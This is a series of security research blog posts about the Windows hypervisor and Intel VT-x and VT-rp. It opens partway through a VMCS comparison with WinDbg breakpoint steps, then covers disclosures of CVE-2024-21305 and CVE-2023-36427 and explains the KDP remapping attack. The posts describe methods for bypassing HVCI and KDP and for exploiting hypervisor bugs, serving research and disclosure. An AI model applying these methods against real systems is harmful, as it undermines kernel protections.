80   | 01   | 049A   | Yes     | User-mode enabled
81   | 08   | 04DD   | Yes     | User-mode entry point
82   | 04   | 0492   | Yes     | User-mode stack pointer
83   | 04   | 068E   | Yes     | User-mode stack size
84   | 08   | 0692   | Yes     | User-mode exception handler
85   | 04   | 0474   | Yes     |
86   | 04   | 047B   | Yes     |
91   | 08   | 069A   | Yes     | MSR bitmap address
94   | 08   | 017B   | Yes     | SMM XCR
95   | 08   | 0197   | Yes     | SMM IA32_XSS
FF   | 00   | 0000   |         | End of the list

Default IO port access policy

Default MSR access policy

Dell’s additional IO port access policy

Dell’s additional MSR access policy

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

• Summary
• Setup
• Comparison
  • MSRs
  • IO ports
  • Memory
  • Control fields
    • Pin-based VM-execution controls
    • Primary processor-based VM-execution controls
    • Secondary processor-based VM-execution controls
    • Primary VM-exit controls
    • VM-entry controls
    • ENCLS-exiting bitmap
    • Exception bitmap
    • CR0 guest/host mask
    • CR4 guest/host mask
• Call for actions
• Reference: steps to get them

Summary

I start with the summary of my take, as the rest of this article is fairly “dry”.

The most interesting difference is VTL 1 having writable code. I heard of this but never verified it myself. I knew VTL 1 mapped UEFI runtime service code with the writable permission when the Memory Attributes Table was unavailable, but my target system did have it and properly implemented W^X (ref). I am unclear why code is left writable almost entirely. Similarly, it is questionable that IA32_EFER.NXE is not set for the VTL 1 guest.

The other intriguing part is largely accessible IO ports from VTL 0. I would have to study the functionality of these IO ports a bit more to be confident to say these are ok in this way. You may find the list of documented IO ports in volume 1 of the PCH specification, for example:

On MSRs, besides the undocumented MSRs, it is worth recreating the list on newer models as it might change depending on the existence of physical MSRs. Additionally, IA32_SPEC_CTRL being writable from the child partition is interesting. Could not a guest disable mitigation features and leak information? I would be curious to know.

On CR4, it is interesting that more bits are intercepted and shadowed for VTL 0 than the child partition. I cannot think of a reason off the top of my head.

It may be good security research to compare these with other hypervisor-protected systems. Is there a similar software architecture with a different setup, and would that imply overlooked security holes on that system or Windows? In addition to that, being intercepted by a hypervisor does not mean there is no chance of a bug; it is an attack surface to be inspected.

The rest of the post analyzes raw data.

Setup

I checked VMCS configurations on Windows 11 22H2 on the 9th generation Intel processor. The guest partition is Windows 11 22H2 with Hyper-V configuration version 11.0. HVCI is enabled for the root partition and disabled for the guest partition.

Comparison

MSRs

The lists of MSRs accessible without interception are the same between VTL 0 and 1. The child partition can access only a subset of these MSRs.

IO ports

The lists of IO ports accessible without interception are different between 3 configurations.

• For VTL 0, all ports except below are accessible:
  • 0x20, 0x21, 0xa0, 0xa1 - Master and Slave PIC (reference)
  • 0x64 - PS/2 Controller (reference)
  • 0xcf8, 0xcfc-0xcff - PCI config address and data (reference)
  • 0x1805 - (upper) PM1 control registers
• For VTL 1, all ports are accessible.
• For the child partition, none of the ports are accessible.

Memory

Below are a few observations with a quick look.

• For both VTL 0 and 1, translations are identity-mapped.
• For VTL 1, code is almost entirely writable even if HVCI is enabled for VTL 0.
• For the child partition, translations are simple offsets within a few large blocks of physical memory.
  • For example, when GPA 0x0 is mapped to PA 0x224200000, GPA 0x4600000 is mapped to 0x228800000 (0x224200000 + 0x4600000).

Control fields

Pin-based VM-execution controls

There is no difference between the 3 configurations.

Primary processor-based VM-execution controls

There are a few differences.

• for VTL 1, “Interrupt-window exiting” is enabled
• for the child partition, MWAIT, MONITOR, and MOV-DR are intercepted
• for the child partition, all IO port access are intercepted

Secondary processor-based VM-execution controls

There are a few differences:

• For the child partition, “WBINVD” is intercepted.
• “Mode-based execute control for EPT” is enabled only for VTL 0. This is because VTL 1 does not have as strict memory protection as VTL 0, and the child partition (VM) was not configured to enable HVCI.

Primary VM-exit controls

For the child partition, “Load IA32_PAT” is enabled.

VM-entry controls

For the child partition, “Load IA32_PAT” is enabled.

ENCLS-exiting bitmap

For the child partition, all ENCLS leaf functions are intercepted.

Exception bitmap

There is no difference between the 3 configurations.

CR0 guest/host mask

There is no difference between the 3 configurations.

CR4 guest/host mask

For VTL 0, several bits are intercepted and shadowed.

Call for actions

Besides the open questions I made above, there are opportunities to find new vulnerabilities in the Windows hypervisor if you extend hvext.js for AMD platforms. I discovered two vulnerabilities specific to the Intel platforms while writing the tool, so I would not be surprised if similar issues exist on AMD platforms.

Reference: steps to get them

1. Enable hypervisor debugging and get hvext.js working.

2. Reduce the number of logical processors to 1 and reboot. This makes VTL 0, 1 and guest transitions tremendously clearer.

    > bcdedit /set numproc 1
   

3. To break on VMCS switching, we need to set breakpoints on the all VMPTRLD instructions in the hypervisor image. For this, get the range of hypervisor’s .text section first.

    kd> lm
    start             end                 module name
    fffff863`87673000 fffff863`87a75000   hv         (no symbols)
   
    kd> !dh -s fffff863`87673000
    ...
    SECTION HEADER #9
      .text name
      19C0C4 virtual size
      200000 virtual address
      19D000 size of raw data
    ...
   

4. Then, search the VMPTRLD instructions in the range with the # command.

    kd> # vmptrld fffff863`87673000+200000 L 19C0C4
    ...
   

5. Finally, set a breakpoint for each discovered instruction.

   Note that there were 41 instances of the VMPTRLD instructions in the version I tested, and Windbg could set only up to 30 breakpoints. However, this was not a big issue as only 4 of them were used during the regular operation. To figure out which instructions are used, you can trace execution of them instead of breaking in each time with commands like this:

    ; Offsets are valid only for the version 10.0.22621.2861
   
    bp hv+0x20af68 ".echo ' 0'; dp rcx+188h l1; gc"
    bp hv+0x2123cf ".echo ' 1'; dp rcx+188h l1; gc"
    bp hv+0x216c2e ".echo ' 2'; dp rcx+188h l1; gc"
    bp hv+0x21a174 ".echo ' 3'; dp rcx+188h l1; gc"
    bp hv+0x22093b ".echo ' 4'; dp rcx+188h l1; gc"      ; used to switch VTL 0 and 1
    bp hv+0x22b377 ".echo ' 5'; dp rcx+188h l1; gc"
    bp hv+0x22c1ba ".echo ' 6'; dp rcx+188h l1; gc"
    bp hv+0x22c6f4 ".echo ' 7'; dp rcx+188h l1; gc"
    bp hv+0x22cd17 ".echo ' 8'; dp rcx+188h l1; gc"      ; used to switch guest and VTL 0
    bp hv+0x239401 ".echo ' 9'; dp rsp+30h l1; gc"
    bp hv+0x248112 ".echo '10'; dp rcx+188h l1; gc"
    bp hv+0x25589a ".echo '11'; dp rcx+188h l1; gc"
    bp hv+0x2559ae ".echo '12'; dp rcx+188h l1; gc"
    bp hv+0x33e1d3 ".echo '13'; dp rcx+188h l1; gc"
    bp hv+0x33e2f5 ".echo '14'; dp rcx+188h l1; gc"
    bp hv+0x33ead1 ".echo '15'; dp rcx+188h l1; gc"
    bp hv+0x340e8d ".echo '16'; dp r8+118h l1; gc"
    bp hv+0x340eed ".echo '17'; dp rsp+58h l1; gc"
    bp hv+0x3410e2 ".echo '18'; dp rcx+118h l1; gc"
    bp hv+0x341a6e ".echo '19'; dp rbp+48h l1; gc"
    bp hv+0x347146 ".echo '20'; dp rcx+29A20h l1; gc"    ; used only for the first launch
    bp hv+0x34960c ".echo '21'; dp rcx+188h l1; gc"
    bp hv+0x34971f ".echo '22'; dp rcx+188h l1; gc"
    bp hv+0x34985d ".echo '23'; dp rcx+188h l1; gc"
    bp hv+0x349acd ".echo '24'; dp r8+188h l1; gc"
    bp hv+0x349c95 ".echo '25'; dp rcx+188h l1; gc"
    bp hv+0x34b8b8 ".echo '26'; dp r8+118h l1; gc"
    bp hv+0x34b8f9 ".echo '27'; dp rsp+58h l1; gc"
    bp hv+0x34ba7f ".echo '28'; dp rcx+188h l1; gc"
    bp hv+0x34baed ".echo '29'; dp rsp+50h l1; gc"
    bp hv+0x34cf28 ".echo '30'; dp rcx+188h l1; gc"
    bp hv+0x34f3f4 ".echo '31'; dp rax+188h l1; gc"
    bp hv+0x34f4e4 ".echo '32'; dp rax+188h l1; gc"
    bp hv+0x34feae ".echo '33'; dp rcx+188h l1; gc"
    bp hv+0x352070 ".echo '34'; dp rcx+188h l1; gc"
    bp hv+0x352100 ".echo '35'; dp rcx+188h l1; gc"
    bp hv+0x3521d9 ".echo '36'; dp rcx+188h l1; gc"
    bp hv+0x352b9d ".echo '37'; dp rcx+188h l1; gc"
    bp hv+0x352bb0 ".echo '38'; dp rdx+0B0h l1; gc"
    bp hv+0x3541a5 ".echo '39'; dp rcx+188h l1; gc"      ; used only during start up
    bp hv+0x391b62 ".echo '40'; dp rcx+188h l1; gc"
   

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

This post was coauthored with Andrea Allievi (@aall86), a Windows Core OS engineer who analyzed and fixed the issue.

This post details the story and technical details of the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability disclosed and fixed with the January 9th update on Windows. This vulnerability, CVE-2024-21305, allowed arbitrary kernel-mode code execution, effectively bypassing HVCI within the root partition.

While analysis of the HVCI bypass bug alone can be interesting enough, I and Andrea found that the process of root causing and fixing it would also be fun to detail and decided to write this up together. The first half of this article was authored by me, and the second half was by Andrea. Readers can expect a great deal of Windows internals and x64 architecture details thanks to Andrea’s contribution!

Discovery to reporting

Discovery

The discovery of the bug was one of the by-products of hvext.js, the Windbg extension for studying the implementation of Hyper-V on Intel processors. With the extension, I dumped EPT on a few devices to better understand the implementation of HVCI, and one of them showed readable, writable, and kernel-mode executable (later referred to as RWX) guest physical addresses (GPAs). When HVCI is enabled, such GPAs should not exist as it would allow generation and execution of arbitrary code in kernel-mode. Eventually, out of 7 Intel devices I had, I found 3 devices with this issue, ranging from 6th to 10th generation processors.

Exploitation

Exploiting this issue for a verification purpose was trivial as the RWX GPAs did not change across reboot or when test-signing was enabled. I wrote the driver that remapped a choice of linear address onto one of RWX GPAs and placed shellcode there, and was able to execute the shellcode as expected! If HVCI were working as intended, the PoC driver would have failed to write shellcode and caused a bug check. For more details on the PoC, see the report on GitHub.

I asked Andrea about this and was told it could be a legit issue.

Partial root causing

I was curious why the issue was seen on only some devices and started to investigate what the RWX GPAs were.

Contents of those GPAs all seemed zero during runtime, and RamMap indicated it was outside NTOS-managed memory. I dumped memory during the Winload debug session, but they were still vastly zero. It was the same even during the UEFI shell phase.

At this point, I thought it might be UEFI-reserved regions. First, I realized that the RWX GPAs were parts of Reserved regions but did not exactly match, per the output of the memmap UEFI shell command. Shortly after, I discovered the regions exactly corresponded to the ranges reported by the Reserved Memory Region Reporting (RMRR) structure in the DMAR ACPI table.

I spent more time trying to understand why they were marked as RWX and why it occurred on only some machines. Eventually, I could not get the answers, but I was already reasonably satisfied with my findings and decided to hand this over to MSFT.

Reporting

I sent an initial write-up to Andrea, then, an updated one to MSRC a few days later. Though, it turned out that Andrea was the engineer in charge of this case. Such a small world.

Nothing much happened until mid-October when Andrea privately let me know he root caused and fixed it, and also offered to write up technical details from his perspective.

So the following is his write-up with a lot of technical details!

Technical details and fixes

Intel VT-x and its limitation

So what is the DMAR table and why was important in this bug?

To understand it we should take a step back and briefly introduce one of the first improvements of the Intel Virtualization Extension (Intel VT-x). Indeed, Intel VT-x was introduced back around the year 2004 and, in its initial implementation, it misses some parts of the technology that are currently used in modern Operating Systems (in 2023). In particular:

1. The specifications did not include a hardware Stage-2 MMU able to perform the translation of the Guest physical addresses (GPAs) to System physical addresses (SPAs). First Hypervisors (like VmWare) were using a technique calling Memory Shadowing
2. Similarly, the specification did not protect devices performing DMA to system memory addresses.

As the reader can imagine, this was not compatible with the Security standard required nowadays, so multiple “addendums” were added at the first implementation. While in this article we are not talking about #1 (plenty of articles are available online, like this one), we will give a short introduction and description of the Intel VT-d technology, which aims at protecting Device data transfer initiated via DMA.

Intel VT-d

Intel maintains the VT-d technology specifications at the following URL: https://www.intel.com/content/www/us/en/content-details/774206/intel-virtualization-technology-for-directed-i-o-architecture-specification.html

The document is updated quite often (at the time of this writing, we are at revision 4.1) and explains how an I/O memory management unit (IOMMU) can now protect devices to access memory that belongs to another VM or is reserved for the the host Hypervisor or OS.

A device can be exposed by the Hypervisor in different ways:

• Emulated devices always cause a VMEXIT and they are emulated by a component in the Virtualization stack.
• Paravirtualized devices are synthetic devices that communicate with the host device through a technology implemented in the Host Hypervisor (VmBus in case of HyperV).
• Hardware accelerated devices are mapped directly in the VM. (readers who want to know more can check Chapter 9 of the Windows Internals book).

All the hardware devices are directly mapped in the root partition by the HV. To correctly support Hardware accelerated devices in a child VM the HV needs an IOMMU. But what exactly is an IOMMU? To be able to isolate and restrict device accesses to just the resource owned by the VM (or by the root partition), an IOMMU should provide the following capabilities:

• I/O device assignment
• DMA remapping to support address translations for Direct Memory Accesses (DMA) initiated by the devices
• Interrupt remapping and posting for supporting isolation and routing of interrupts to the appropriate VM

DMA remapping

The DMA remapping capability is the feature related to the bug found in the Hypervisor. Indeed, to properly isolate DMA requests coming from hardware devices, an IOMMU must translate request coming from the endpoint device attached to the Root Complex (which, in its simplest form, a DMA request is composed of a target DMA address/size and originating device ID specified as Bus/Dev/Function - BDF) to its corresponding Host Physical Address (HPA).

Note that readers that do not know what a Root Complex is or how the PCI-Ex devices interact with the system memory bus can read the excellent article by Gbps located here (he told me that a part 2 is coming soon :-) ).

The IOMMU defines the Domain concept, such an isolated environment in the platform for which a subset of host physical memory is allocated (basically a bunch of isolated physical memory pages). The isolation property of a domain is achieved by blocking access to its physical memory from resources not assigned to it. Software creates and manages domains, allocates the backing physical memory (SPAs), and sets up the DMA address translation function using “Device-to-Domain Mapping” and “Hierarchical Address translation” structures.

Skipping a lot of details, both structures can be thought as “Special” page tables:

• Device–to-Domain Mapping structures are addressed by the BDF of the source device. In the Intel manual this is called “Source ID” and yield backs the domain ID and the root Address Translation structures for the domain (yes, entries in this table are 128 bits indeed, and not 64).
• Hierarchical Address translation structures are addressed by the source DMA address, which is treated as GPA, and outputs the final Host Physical address used as target for the DMA transfer.

The concepts above are described by the following figure (source: Intel Manual):

DMAR ACPI table and RMRR structure

The architecture defines that any IOMMU present in the system must be detected by the BIOS and announced via an ACPI table, called DMA Remapping Reporting (DMAR). The DMAR is composed of multiple remapping structures. For example, an IOMMU is reported with the DMA Remapping Unit Definition (DRHD) structure. Describing all of them is beyond the scope of this article.

What if a device always needs to perform DMA transfer with specific memory regions? Certain devices, like the Network controller, when used for debugging (for example in KDNET), or the USB controller, when used for legacy Keyboard emulation in the BIOS, should always be able to perform DMA both before and after setting up IOMMU. For these kinds of devices, the Reserved Memory Region Reporting (RMRR) structure is used by the BIOS to describe regions of memory where the DMA should always be possible.

Two important concepts described in the Intel manual regarding the RMRR structure:

1. The BIOS should report physical memory described in the RMRR as Reserved in the UEFI memory map.
2. When the OS enables DMA remapping, it should set up the Second-stage address translation structures for mapping the physical memory described by the RMRR using the “identity mapping” with read and write (RW) permission (meaning that GPA X is mapped to HPA X).

Interaction with Windows, and the bug

In some buggy machines, consideration #1 was not happening, meaning that neither the HV nor the Secure Kernel know about this memory range from the UEFI memory map.

When booting, the Hypervisor initializes its internal state, creates the Root partition (again, details are in the Windows Internals book) and performs the IOMMU initialization in multiple phases. On AMD64 machines, one of these phases requires parsing the RMRR. Note that the HV still has no idea whether the system will enable VBS/HVCI or not, so it has no options other than applying the full identity mapping to the range (which implies RWX protection).

When the Secure Kernel later starts and determines that HVCI should be enabled, it will set the new “default VTL permission” to be RW (but not Execute) and will inform the hypervisor by setting the public HvRegisterVsmPartitionConfig synthetic MSR (documented in the Hypervisor TLFS). When VTL 1 of the target partition sets the default VTL protection and writes to the HvRegisterVsmPartitionConfig MSR, it causes a VMEXIT to the Hypervisor, which cycles between each valid Guest physical frame described in the UEFI memory map and mapped in the VTL 0 SLAT, removing the “Execute” permission bit (as dictated by the “DefaultVtlProtectionMask” field of the synthetic register).

Mindful readers can already understand what is going wrong here. In buggy firmware, where the RMRR is not set in the UEFI memory map, leaves the “Execute” protection of the described region on, producing a HVCI violation (thanks Satoshi).

Fixes

MSFT has fixed (thanks Andrea) the issue working on two separate sides:

1. Fixing the firmware in all the commercial devices MSFT released, forcing the RMRR memory region to be included in the UEFI memory map
2. Implementing a trick in the HV. Since the architecture requires that the RMRR memory region must be mapped in the IOMMU (via the Hierarchical Address translation structures as described above) using identity map with RW access permission (but no X - Execute), we decided to perform some compatibility tests and see what happen if the HV protects all the initial PFNs for RMRR memory regions in the SLAT by stripping the X bit. Indeed, the OS always needs to read or write to those regions, so programming the SLAT is needed.

Tests for fix 2 worked and produced almost 0 compatibility issue, so MSFT decided also to increase the protection and remove the X permission on all RMRR memory region by default on ALL systems, also increasing the protection when the firmware is bugged.

Summary

Hope you enjoyed this jointly written post with both bug reporter’s and developer’s perspectives and a great deal of details on the interaction of VT-d and Hyper-V by Andrea.

To summarize, the combination of buggy UEFI that did not follow one of the requirements by the Intel VT-d specification and permissive default EPT configuration caused unintended RWX GPAs under HVCI. MSFT resolved the issue by correcting the default permission and their UEFI and released the fix on January 9. Not all devices are vulnerable to this issue. However, you may identify vulnerable devices by checking the memmap UEFI shell command not showing the exact RMRR memory regions as Reserved.

This is a non-technical post on how I found two Microsoft Hypervisor-related vulnerabilities I reported this summer. Specifically, this post discusses CVE-2023-36427, memory corruption at arbitrary physical addresses from the root partition, fixed on November 14th. If you are interested in technical details of the bug, read the report on GitHub. This post focuses on the process of finding and exploiting the bug and my thoughts on this exercise.

The other vulnerability has not been disclosed yet.

Finding and Exploitation

How it started

A few months ago, I wrote hvext.js to better understand how Microsoft Hypervisor protected itself and the kernel as virtualization-based security (VBS). This tool, for example, let me see what MSRs were readable or writable from the root partition without getting intercepted by the hypervisor.

Dump of MSR accessibility showed only 81 MSRs were writable. As it was a small number, I decided to go through them one by one and see why they were writable. Most of those were related to performance, processor frequency, or thermal, which made sense to me.

The bug

However, I noticed that Hardware Feedback Interface (later referred to as HFI) related MSRs were writable. I knew they could corrupt any physical memory pages regardless of how a hypervisor configured EPTs. The gist of the issue with the writable HFI MSRs is that they allow software to specify the physical address of where an HFI structure is populated by the processor. Thus, the guest software could specify a physical address of hypervisor code and let the processor overwrite it with the HFI structure irrespective of EPT permissions.

Validation

I was initially skeptical about this exploitation on Windows, as this would be obvious oversight. Regardless, experiments showed the root partition could modify them. However, memory corruption did not happen as expected. This was because the processor appeared to populate the HFI structure only once after reset (*1). I could write the MSRs as many times as I wanted, but it was effectively no-op because the kernel always wrote the MSRs at its startup.

Exploitation with S3/S4

I started to think – “can you reset a processor so that you could trigger the memory write operation by the processor?”

Yes, you can. That is what S3 and S4 (sleep, and hibernation or “shutdown” on modern Windows) do. I started to look into this and realized that, in case of resume from S3/S4, the kernel conditionally wrote the MSRs and that the condition was controllable. By controlling the condition, I could avoid the MSR re-initialization by the kernel on resume and perform initial write through my code. At that point, writing the PoC was straightforward.

With the PoC, demo and the report, MSRC confirmed that this issue was valid. The fix was released November 14th as promised, and the report was eligible for a 2000 USD bounty award.

Yay!

Thoughts

A few thoughts on this bug discovery and exploitation:

Verify your assumption

First thing first; as mentioned before, the fact that the HFI MSRs could bypass EPT was not entirely new. I expected that this attack vector was considered and disabled even before my post, but it was not after all.

Not so many eyeballs

It appears that a fewer folks than I imagined look into attacks from the root partition.

If any security researcher had inspected the MSR bitmaps for the root partition, she would have found this issue, even if she did not know about this particular attack vector beforehand. Because only a handful of MSRs were writable, it should not have been difficult to go through them and see if anything could be exploited.

Same bug might exist elsewhere

Since the issue has to do with Intel processors than software specifics, there may be other hypervisors that do not restrict access to the MSRs allowing violation of security models.

Also, are there any access to other hardware mechanisms that directly write physical memory (eg, IOMMU and PCI devices)? What about AMD? I did not look into AMD at all or have a plan to do so. It may be a good research topic.

Security feature bypass matters

When I submitted the report to MSFT, I was unsure if they would view this as a vulnerability given that an Administrator could disable VBS with bcdedit anyway. Why bother?

That argument is flawed.

Later, I noticed attacks like this was an issue as such security policy violations were not observable in any standard way. Your system would be reported as “VBS enabled” on event logs, NT API, PCR, TCG logs, etc, yet exposed to attacks. There is a substantial difference from disabling VBS and rebooting, which is clearly observable.

Security research can yield vulnerabilities

Simply learning security features yielded two vulnerabilities in Windows core components (and 3000 USD) as by-product. If you are a kind of person who likes to do security feature research and still wishes to find vulnerabilities time to time, that is OK to focus on what interest you.

Footnotes

*1 (🔙): I may very well be missing something here. The Intel SDM does not indicate this behaviour. Let me know if you know of more details.

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

This is the 2nd part of the series about the Intel VT Redirection Protection (VT-rp) technology. This post focuses on two of its features: paging write (PW) and guest-paging verification (GPV). We will also discuss how other protection mechanisms complement Intel VT-rp to defend the system against kernel-mode exploits. For hypervisor-managed linear address translation (HLAT), please read part 1.

As a reminder, source code of the sample hypervisor used in this blog series is available on GitHub.

We will use following acronyms throughout this post:

• LA: linear address
• GPA: guest physical address
• PA: physical address

(I am intrigued…)

Paging-write (PW)

Protecting the hypervisor-managed paging structures

As discussed in part 1 of this series, HLAT employs a new set of paging structures rooted from the HLATP VMCS field to “lock” translation of desired LAs.

Those paging structures, which we refer to as the hypervisor-managed paging structures, must be tamper resilient against a guest; otherwise, there would be no point in using HLAT. They also have to be accessible from the guest because the HLATP VMCS field holds the GPA of the structures, and the processor needs to be able to read them on the GPA in VMX non-root operation.

For them to be tamper resilient while being exposed to the guest, they may be marked as read-only with EPT. The below illustrates this setup.

This can cause extra VM-exit during HLAT paging because the processor attempts to set “accessed” and “dirty” bits in the paging structures as needed. This operation is called “paging write”. While this is done by hardware, it is still subject to EPT permissions.

PW as performance optimization

To avoid those extra VM-exits, a hypervisor can set the “paging-write access” (PWA) bit in the EPT entries that correspond to the hypervisor-managed paging structures (*1). When this bit is set, paging write is allowed regardless of the EPT read/write permission.

Demo - read-only paging structures

Let us observe this behaviour using the custom hypervisor and uefi_client on the UEFI shell.

First, we make the hypervisor-managed paging structures read-only using hypercall 1, then, enable HLAT for LA 0x200000 using hypercall 0. This immediately causes EPT violation VM-exit and panic as shown below.

This is because the processor attempted to perform paging write for the hypervisor-managed paging structures, which were read-only.

Next, let us set the PWA bit in the EPT entry using hypercall 2, then enable HLAT.

This does not cause VM-exit due to paging write.

Guest-paging verification (GPV)

The 3rd feature VT-rp provides is guest-paging verification (GPV), formerly referred to as verify paging-write.

It is a mechanism to prevent accessing a given GPA through unintended LAs. For example, in the below diagram, two LAs translate to the same GPA due to aliasing, but access to the GPA through (b) can be detected and prevented using GPV.

In a nutshell, this works by the processor verifying that all leaf EPT entries used to translate a LA to a GPA set the PWA bit.

To take a closer look, let us remind ourselves that the processor has to access guest-managed paging structures (ie, PML4e, PDPTe, PDe and PTe) on memory to translate a LA to a PA, and that access requires GPA -> PA translation. Namely,

1. To translate a LA, the processor:
   1. needs to read PML4e on GPA, which requires translation to PA using EPT PML4e, PDPTe, PDe and PTe
   2. needs to read PDPTe on GPA, which requires translation to PA using EPT PML4e, PDPTe, PDe and PTe
   3. and so on
2. Then, LA (1) is translated to GPA
3. Finally, GPA (2) is translated to PA with another set of EPT PML4e, PDPTe, PDe and PTe

A process called guest-paging verification steps in when the “verify guest paging” (VGP) bit is set in EPT PTe appeared in (3) above. When this happens, the processor checks that all leaf EPT entries appeared in (1.1) ~ (1.3) have the PWA bit. If not, EPT violation VM-exit occurs.

The below illustration depicts this.

1. If the VGP bit is set in the EPT entry for a GPA being accessed,
2. the processor looks at the paging structures referenced during LA -> GPA translation, and
3. makes sure the GPAs of the paging structures are marked as PWA=1 in EPT.

Like (2’) and (3’) above, if the processor encounters an EPT entry that is not marked as PWA=1, EPT violation VM-exit occurs. This mechanism allows an hypervisor to enforce that a given GPA is accessed only through an intended LA and prevent the aliasing attack (*2).

Similar to PW, this feature can be used independently of HLAT (*3).

Demo - preventing aliasing

Let us prevent the aliasing attack against GPA 0x200000 with GPV.

First, we enable HLAT using hypercall 0 to make sure the GPA is accessed through intended permission. Next, using hypercall 3, we enable GPV for the GPA and allow access through the hypervisor-managed paging structures, by setting the PWA bit into the EPT entries corresponding to them.

Then, we alias GPA 0x200000 with the alias command. In this demo, LA 0x46200000 is an alias and translates to GPA 0x200000. Access to LA 0x46200000, however, causes VM-exit and panic as shown below.

This is because LA 0x46200000 was translated to GPA 0x200000 using the paging structures which are not marked as “ok” with the PWA bit in the corresponding EPT entries. If the GPA 0x200000 were accessed through an original LA, that would have been successful as the LA would be translated through the paging structures that are marked as “ok” (because of the hypercall 3 above).

Side discussions

Code-integrity protection v.s. the remapping attack

In part 1, we discussed bypassing KDP, write-protection for data, using the remapping attack. An astute reader might have wondered if the same technique could be used to bypass write-protection for code. The answer is/should be “no.”

The remapping attack is possible against data because it is trivial to find other GPA that is marked as RW in EPT. In fact, any GPA for data is marked as such by default. On the other hand, an attacker would have to find a GPA that is W+X in EPT to apply the attack for code. Such GPA should not exist in the first place.

It is still possible to remap a code page to another code page without modification and make the processor execute different instructions than what the original GPA has. However, given that an attacker would have to find a code page with suitable instructions at the exact page offset or beginning of the page, it would be challenging to implement this idea for anything useful.

Relevant security features

Keep it in mind that VT-rp mitigates only a subset of exploitation techniques, and other mitigation technologies are required for more comprehensive protection against kernel-mode exploits. Here is a few of them:

• W^X guarantee for kernel-mode code: If code is writable, an attacker can generate and execute her shell-code.
• SMEP: If a user-mode page is executable in kernel-mode, an attacker can generate and execute her shell-code in user-mode pages, where W^X is usually not enforced.
• MBEC/GMET: If executable permission is not managed for user- and kernel-mode separately, an attacker can generate shell-code in user-mode executable pages, make it kernel-mode to bypass SMEP and execute it.
• Kernel-mode code flow integrity: If forward- or backward-edge code flow is unprotected using CFG and CET shadow stack, an attacker can replace a function pointer or perform ROP to do desired operations (*4).

Additionally, configurations of those must be protected by a hypervisor. If we consider securely starting up the hypervisor, we need to combine more technologies. It is substantial and challenging work to do without any bugs or misconfigurations.

Conclusion

In part 2, we looked into two of the features Intel VT-rp offered: paging-write (PW) and guest-paging verification (GPV). Specifically, how PW helped protect the hypervisor-managed paging structures efficiently and how GPV can be used to detect the aliasing attack in combination with PW.

The addition of Intel VT-rp is one of the latest examples of how processors and hypervisors evolve and play significant roles in the security scenes. It is also interesting to think about how many machines lack some of those protections, given that it was only in late 2020 when Intel CET was released with 11th gen and AMD shadow-stack was released with Ryzen 3.

Notes

*1 (🔙): PW can be used for the guest-managed paging structures without enabling HLAT. For example, the hypervisor may make part of guest-managed paging structures read-only and PWA=1 with EPT. It would “lock” the translation of a given LA as HLAT does.

*2 (🔙): Although it is explained that preventing the aliasing attack is one of the motivations for GPV, I am unclear when aliasing becomes a real problem, as it does not bypass EPT permissions. It seems that an intended use case is rather when a GPA cannot be read-only with EPT. An interesting quote from another Intel document: The VMM can restrict the effect of aliases by making the guest physical pages non-writable under EPTs. However, there may be scenarios where the VMM may wish to restrict aliases to writable guest-physical pages.

A possible scenario I can think of is where the GPA of sensitive data is mapped as writable with EPT, yet the LA of it is read-only in one VM and writable in another VM. As a hypothetical example, Windows might:

• make the LA of the hypervisor-managed paging structures read-only with the guest-managed paging structures in VTL 0. Then, make the GPA of the guest-managed paging structures read-only and PWA=1 with EPT. Also,
• make the LA of the same hypervisor-managed paging structures as writable in VTL 1, and
• leave the GPA of the hypervisor-managed paging structures writable but set GPV=1 with EPT.

This would allow VTL 1 to update the hypervisor-managed paging structures without page-fault or VM-exit while keeping the structure read-only for VTL 0. If there were no GPV, VTL 0 could alias the GPA of the hypervisor-managed paging structures and modify them. Though, I would use different EPTs for VTL 0 and 1 to keep the structures read-only for VTL 0, instead of leaving them writable.

Either way, I am interested in seeing how GPV will be used in the field.

*3 (🔙): GPV can be used without HLAT. That is, a hypervisor can set the PWA bits to EPT entries that correspond to the guest-managed paging structures. This would enforce that a given GPA is accessed through an intended LA but would not enforce permissions, as the guest can change the permission bits in the paging structures. To enforce permissions, the hypervisor could make the GPA of the guest-managed paging structures read-only using EPT.

*4 (🔙): In fact, Windows does not enable kernel-mode CET by default, even on secured-core PCs as of this writing (10.0.22621). This can be enabled with the KernelShadowStacks registry key as mentioned in Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG if desired.

Found this post interesting? We offer a training course about the Intel virtualization technology. Check out the course syllabus.

This post introduces Intel VT Redirect Protection (VT-rp) – what it is, how it works, and why it was invented, with a sample hypervisor and example scenarios. This is the first part of a 2 posts-series, focusing on Hypervisor-managed Linear Address Translation, HLAT, one of the features VT-rp provides. For other features, read part 2.

We use Windows as an example environment to discuss exploitation techniques and scenarios, but the same principle applies to any other operating system.

EPT-based security and an attack against it

(Skip this section if you are familiar with EPT, HVCI, and KDP)

Extended page table, EPT, is an Intel implementation of Second Level Address Translation, which allows a hypervisor to control memory access by a guest by adding one more address translation step that cannot be tampered with by the guest.

The below diagram illustrates how a linear address is translated into a physical address using EPT. (LA: linear address, GPA: guest physical address, PA: physical address)

Because a guest cannot tamper with this mechanism even with the kernel privileges, a hypervisor can use it to protect the OS kernel from a kernel-mode exploit by making sensitive kernel-mode code and data non-writable at the EPT level. This way, even if an attacker gains arbitrary kernel-mode write primitives, she cannot corrupt the sensitive code or data.

This diagram shows that code remains non-writable even if an attacker changes the permission in the guest paging structures.

Windows implements this idea as features called HyperVisor-protected Code Integrity (HVCI) and Kernel Data Protection (KDP). HVCI makes kernel-mode code non-writable, and KDP makes kernel-mode data non-writable through EPT.

Bypassing KDP with the remapping attack

If an attacker has an arbitrary kernel-mode read and write primitive, KDP can be bypassed by remapping the protected LA onto another GPA that is still configured to be writable at the EPT level.

The below illustration shows permissions for sensitive data protected by KDP.

As shown below, to modify the contents of the sensitive data, an attacker can (1) create a copy of the data, (2) modify the contents of the copy, then (3) update the guest paging structures of the protected LA to point to the modified copy. With this, (4) when the protected LA is read, the modified contents are read instead. This method is called “remapping” or page swapping.

This is a well-understood limitation that is explicitly called out by Microsoft and further discussed by several others. Here is the quote from the Microsoft article introducing KDP.

KDP does not enforce how the virtual address range mapping a protected region is translated.

Demo - making ci!g_CiOptions zero under KDP

(Skip this section if you have a good handle on the remapping attack)

